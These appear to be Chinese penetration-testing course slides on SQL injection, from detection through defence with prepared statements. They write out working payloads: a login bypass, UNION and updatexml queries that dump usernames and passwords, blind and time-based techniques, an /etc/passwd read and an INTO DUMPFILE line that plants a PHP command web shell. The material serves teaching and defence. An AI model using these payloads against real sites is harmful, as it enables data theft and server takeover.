渗透测试工程师技术实战课

第2课 SQL注入原理以及分析

● SQL基础讲解

●SQL注入(SQLInjection):SQL注入是一种代码注入技术，服务器端程序将用户输入参数作为查询条件。在应用程序中，如果没有做适当的过滤，则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)

●用户登录判断

>SELECT*FROM USERS WHERE user='uname'AND password='pass';

>SELECT*FROM USERS WHERE user='uname'AND password=''OR'1'='1';

●select类型

>SELECT*FROM USER WHERE id=Sid

>SELECT*FROM USER WHERE id ='Sid'

- SQL基础讲解

- 盲注

>布尔盲注：只能从应用返回中推断语句执行后的布尔值

>时间盲注：应用没有明确的回显，只能使用特定的时间函数来判断报错注入：应用会显示全部或者部分的报错信息

●堆叠注入：有的应用可以加入；后一次执行多条语句

- DNS解析协议

●其他

●常见的注入点

>GET/POST/COOKIES/文件名/...

● SQL注入点识别

●基于报错的检测方法

>'"%()

●基于布尔检测

>1'and'1'='1　　1'and '1

>1'and'1'='2　　1'and'0

●表列数/显示信息位于哪一列

>'order by10--+#按查询列号排序(注释符：--)

>selet*表字段数=查询字段数

●联合查询

>'union select 1,2,3--+

>'union all select database(),2--+

- SQL注入

- DB用户：user()

- DB版本：version()

- 全局函数：@@datadir、@@hostname、@@version、@@version_compile_os

- 当前库：database()

- ASCII转字符：char()

- 连接字符串：concat_ws(char(32,58,32),user(),database(),version())

- Mysql数据结构　　>information_schema

● SQL注入

所有库所有表/统计每库中表的数量

>'union select table_name,table_schema from information_schema.tables 23%

>'union select table_schema,count(*)from information_schema.tables group by table_schema23%

库中表名

>'union select 1,table_name,3,4,5 from information_schema.tables wheretable_schema=0x66616E6B65

●表名中的列

>union select 1,group_concat(column_name),3,4,5 from information_schema.columns wheretable_name=0x75736572

●数据'union select 1,username,password,4,5 from user

>'union select 1,concat(user,0x3a,password)from user

- SQL注入-读写文件
- and (select count()from mysql.user)>0
- @@secure_file_priv
- 使用之前我们需要先找到网站的绝对路径。(获取办法：报错显示、谷歌语法、site:目标网站warning、遗留文件如phpinfo、漏洞爆出路径、读取配置文件
- 'union SELECT null,load_file('/etc/passwd'),null -+
- 'union select null,"<?php passthru(S_GET['cmd']);?>"INTO DUMPFILE "/var/www/a.php"-+
- 'union select null,concat(username,0x3a,password)from users INTO OUTFILE 'test.txt'

- SQL注入-宽字节注入

- 突破magic_quotes_gpc与addslashes,mysqL_real_escape_string,mysqL_escape_string宽字节注入

- \x00

- \n addslashes不转义

- \r addslashes不转义

- \

- ‘

- “

- \x1a addslashes不转义

- %df

● SQL注入-报错注入

●爆数据库版本信息：?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

●链接用户：?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

●链接数据库：?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

●爆库：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,(select schema_name),0x7e)FROM admin limit 0,1),0x7e),1)

●爆表：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,(select table_name),0x7e)FROM admin limit 0,1),0x7e),1)

●爆字段：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,(select column_name),0x7e)FROM admin limit 0,1),0x7e),1)

●爆字段内容：?id=1 and updatexml(1,concat(0x7e,(SELECT distinctconcat(Ox23,username,0x3a,password,0x23)FROM admin limit 0,1),0x7e),1)

- SQL注入-盲注注入-boolen

●无权读取information_schema库/拒绝union、order by语句>猜字段名：'and column is null--+

- Burp suite自动猜列名

●猜当前表表名：'and table.user is null--+

●猜库里其他表：'and (select count(*)from table)>0--+

●列表对应关系：'and user.user is null--+

●猜字段内容：'or user='admin

>'or user like '%a%

- 猜账号对应密码：

>'oruser='admin'and password='5f4dcc3b5aa765d61d8327dev832cf99

- SQL注入-盲注注入

- 需要用到substr()、length()、ascii()、left()、count()、ord()这些sql数据库函数。

- ascii(a)将a转换成其ASCII值

- ord(a)将a转换成其ASCII值

- left(a,b)从左往右截取字符串a的前b个字符

- substr(a,b,c)从b位置开始，截取字符串a的c位

- mid(a,b,c)从位置b开始，截取a字符串的c位

- select*from table_name limit m,n;表示从m+1开始取n条查询记录

● SQL注入-时间注入

●延时注入属于盲注技术的一种，它是一种基于时间差异的注入技术，下面以Mysq为例讲解延时注入

●在MYSQL中有一个函数：sleep(1)在Sql server、Oracle等数据库中也存在类似功能的函数比如SQL server中的waitfor delay、Oracle中的DBMS_LOCK。

•select *from users where id=1 and sleep(1);/*1秒之后执行SQL语句*/

●判读注入漏洞存在与否

●思路：

>查询当前用户，并获取字符串长度

>截取字符串第一个字符，并且转换为ASCI码

>将第一个字符的ASCI与ASCI码表对比，如果对比成功将延迟3秒。

>继续步骤2、3,直至字符串截取完毕

>例如：and if(length(user())=0,sleep(3),1)

- SQL注入-其他注入

cookie注入

>burp、或者cookie manage

- dnslog注入

>web服务器系统为windows

>有数据库读取的权限load_file()

>dns服务器开启日志记录

- 一切传递数据的地方皆有可能

- SQL注入-二次注入

- 二次注入可以理解为，攻击者构造的恶意数据存储在数据库后，恶意数据被读取并进入到SQL查询语句所导致的注入。

- 二次注入的步骤：

- 插入恶意数据

>进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。

- 引用恶意数据

>开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。

- SQL注入-防御

- 通过安全waf去防御

- 从中间件配置上防止SQL注入

  >magic_quote_gpc(魔术字符)

  >转译特殊符号

- 过滤特殊字符

- 检查变量数据类型和格式>Suid=checkuid(Suid);

- sql语句预编译

```
String sql = "select id, no from user where id=?";
      PreparedStatement ps = conn.prepareStatement(sql);
      ps.setInt(1, id);
      ps.executeQuery();
```

谢谢观赏